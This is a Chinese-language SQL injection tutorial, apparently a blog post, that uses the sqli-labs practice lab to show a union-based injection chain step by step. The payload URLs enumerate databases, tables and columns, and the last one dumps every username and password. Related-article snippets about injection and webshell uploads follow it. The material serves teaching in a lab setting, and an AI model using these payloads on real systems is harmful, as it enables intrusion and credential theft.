手把手教你通过SQL注入盗取数据库信息
SQL注入(SQL Injection),指将非法的SQL命令插入到URL或者Web表单中请求,而这些请求被服务器认为是正常的SQL语句从而进行执行。
我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了非法的事,只是知道小偷怎么偷东西才能更好地防范。
下面我们用sqli-labs这个开源项目来演示一下SQL注入盗取信息的全程,我们不是为了
sqli-labs是一个sql注入的练习靶机,项目地址为:/sqli-labs
源码是用php写的,这里我使用的是docker部署的,如下
这里我是去store.docker.com搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs
运行
docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest
运行后打开http://127.0.0.1:8089/,界面如下
这是一个闯关的课程,一个有22课,接下来我们只会用到Less-1来演示,也就是单引号注入,但是核心原理其实都是通过union出对应的信息盗取数据。
更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南
打开:http://127.0.0.1:8089/Less-1/,看到如下内容
我们输入id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户
对应的php源码是这样的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
相当于最后sql变成了
SELECT * FROM users WHERE id='1' LIMIT 0,1
知其然也知其所以然,欧耶~
数据库结构
数据库是这样的
注入示例
下面使用Less-1的单引号注入来演示一下盗取信息的过程
我们把id改成:id=1' and 1=1 -- -
,访问
http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -
可以正常访问,说明可以用单引号注入,SQL语句相当于变成了
SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
这就是传说中的单引号注入,相当于变成了下面这样的语句,1=1是一定满足条件的,相当于构造了下面这样的SQL语句
判断共有多少字段
union select 1,user(),database() -- -
通过orderby试探,order by是可以直接指定字段的列来排序的,所以可以挨个试,
比如当我们使用order by 5,访问
http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -
报错了,说明不对
当我们用order by 3的时候,正常返回了,访问地址:
http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -
正常返回了,说明字段有3个。
判断字段显示位置
union select 1,2,3 -- -
我们构造一下,访问
http://127.0.0.1:8089/Less-1/?id='union select 1,2,3 -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
已经匹配出了字段,接下来的所有用户信息都需要经过union相等的列来获取,访问
http://127.0.0.1:8089/Less-1/?id=' union select 1,database(),user() -- -
查看所有数据库
union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
访问
http://127.0.0.1:8089/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
其实原理就是构造出了这样的语句
获取对应数据库的表
UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
访问
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
访问如下
我们看到有emails,referers,uagents,users这四个表
获取对应表的字段名称
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
访问
http://127.0.0.1:8089/Less-1/?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
可以看到用id、username、password3个字段
获取用户密码
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
访问
http://127.0.0.1:8089/Less-1/?id=' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 -- -
用户名和密码全出来了,厉害了我的哥!
到这里,我们就学会了怎么把对方所有的隐私load出来了,有点可怕啊!你学会了吗!
手把手教你通过SQL注入盗取数据库信息的更多相关文章
- c# 登录 防止sql注入 mysql数据库
利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...
- 手把手教你用Mysql-Cluster-7.5搭建数据库集群
前言 当你的业务到达一定的当量,肯定需要一定数量的数据库来负载均衡你的数据库请求,我在之前的博客中已经说明了,如何实现负载均衡,但是还有一个问题就是数据同步,因为负载均衡的前提就是,各个服务器的数据库 ...
- 手把手教你使用C#操作SQLite数据库,新建数据库,创建表,插入,查询,删除,运算符,like
目录: 一.新建项目,添加引用 二.创建数据库 三.创建表 四.插入数据 五.查询数据 六.删除数据 七.运算符 八.like语句 我的环境配置:windows 64,VS,SQLite(点击下 ...
- 手把手教你用Rancher创建产品质量数据库设置
目标:在本文中,我们将介绍如何运行一个分布式产品质量数据库设置,它由Rancher进行管理,并且保证持久性.为了部署有状态的分布式Cassandra数据库,我们将使用Stateful Sets (有状 ...
- SQL SERVER 查看数据库信息
a.使用sys.database_files查看有关数据库文件的信息 b.使用sys.filegroups查看有关数据库组的信息. c.使用sys.master_files 查看数据库文件的基本信息和 ...
- ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
访问看到用户名被显示了 http://192.168.49.2/index.php?ids[]=1&ids[]=2 访问http://your-ip/index.php?ids[0,updat ...
- sql注入原理及解决方案
sql注入原理 sql注入原理就是用户输入动态的构造了意外sql语句,造成了意外结果,是攻击者有机可乘 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的 ...
- 数据库防火墙如何防范SQL注入行为
SQL注入是当前针对数据库安全进行外部攻击的一种常见手段.现有主流应用大多基于B/S架构开发,SQL注入的攻击方式正是利用web层和通讯层的缺陷对数据库进行外部恶意攻击.将SQL命令巧妙的插入通讯的交 ...
- SQL注入-数据库判断
0x01.sql注入 sql注入是在系统开发的过程中程序员编程不规范,我们可以通过把SQL语句插入到WEB表单中进行查询字符串,最终达成欺骗服务器执行恶意的SQL命令.对于现在的网站SQL注入越来越严 ...
随机推荐
- kubernets与API服务器进行交互
一 为何需要与kubernets集群的API服务器进行交互 1.1 kubernets提供了一种downapi的资源可以将pod的元数据渲染成环境变量或者downward卷的形式挂载到容器的文件系 ...
- ctfhub技能树—文件上传—前端验证
打开靶机 查看页面信息 尝试直接上传一句话木马 提示不允许上传 查看源码 发现仅允许上传.jpg,.png,.gif三种格式的文件 上传shell.jpg并使用burpsuite抓取数据包 添加完成后 ...
- C#使用OracleParameter操作数据库
public static int GetScalar(string sql,params OracleParameter [] OracleParms) { using (OracleConnect ...
- Python3.9的http.client.py下的HTTPMessage类中的方法getallmatchingheaders的bug修复建议
在官方网站已经提交相关issue,不过目前看好像还没有修复.具体的bug位置为: http文件夹下的client.py文件,代码位置为:类HTTPMessage下的方法getallmatchinghe ...
- commons-lang3相关类实例
一.ArrayUtils //1.判断两个数组长度是否相等 ArrayUtils.isSameLength(new int[] {1,2,3,4}, new int[] {1,2,3,4});//tr ...
- numpy模块(详解)
重点 索引和切片 级联 聚合操作 统计操作 矩阵 什么是数据分析 是把隐藏在一些看似杂乱无章的数据背后的信息提炼出来,总结出所研究对象的内在规律 数据分析是用适当的方法对收集来的大量数据进行分析,帮助 ...
- 無法直接連接互聯網,需要使用代理時(Scrapy)
在windows系統中,如果無法直接連接互聯網,需要使用代理時該怎麽做呢? 1. 在powershell中設置proxy 背景:使用公司電腦,無法直接訪問互聯網,想要訪問互聯網就得使用代理,但是在控制 ...
- Nagle's algorithm 封包 网络游戏协议封包需注意点 封包挂
w41字节的数据包只有1字节的可用信息.以减少数据包发送量来提高TCP/IP网络性能. https://en.wikipedia.org/wiki/Nagle's_algorithm https:// ...
- py, pyc, pyw, pyo, pyd Compiled Python File (.pyc) 和Java或.NET相比,Python的Virtual Machine距离真实机器的距离更远
https://my.oschina.net/renwofei423/blog/17404 1. PyCodeObject与Pyc文件 通常认为,Python是一种解释性的语言,但是这种说法 ...
- 浅析 record 使用场景
浅析 record 使用场景 Intro 之前我们有介绍过 record 基本知识,record 会实现基于值的类型比较,最近遇到的几个问题觉得用 record 来解决会非常方便,分享一下 基于值的类 ...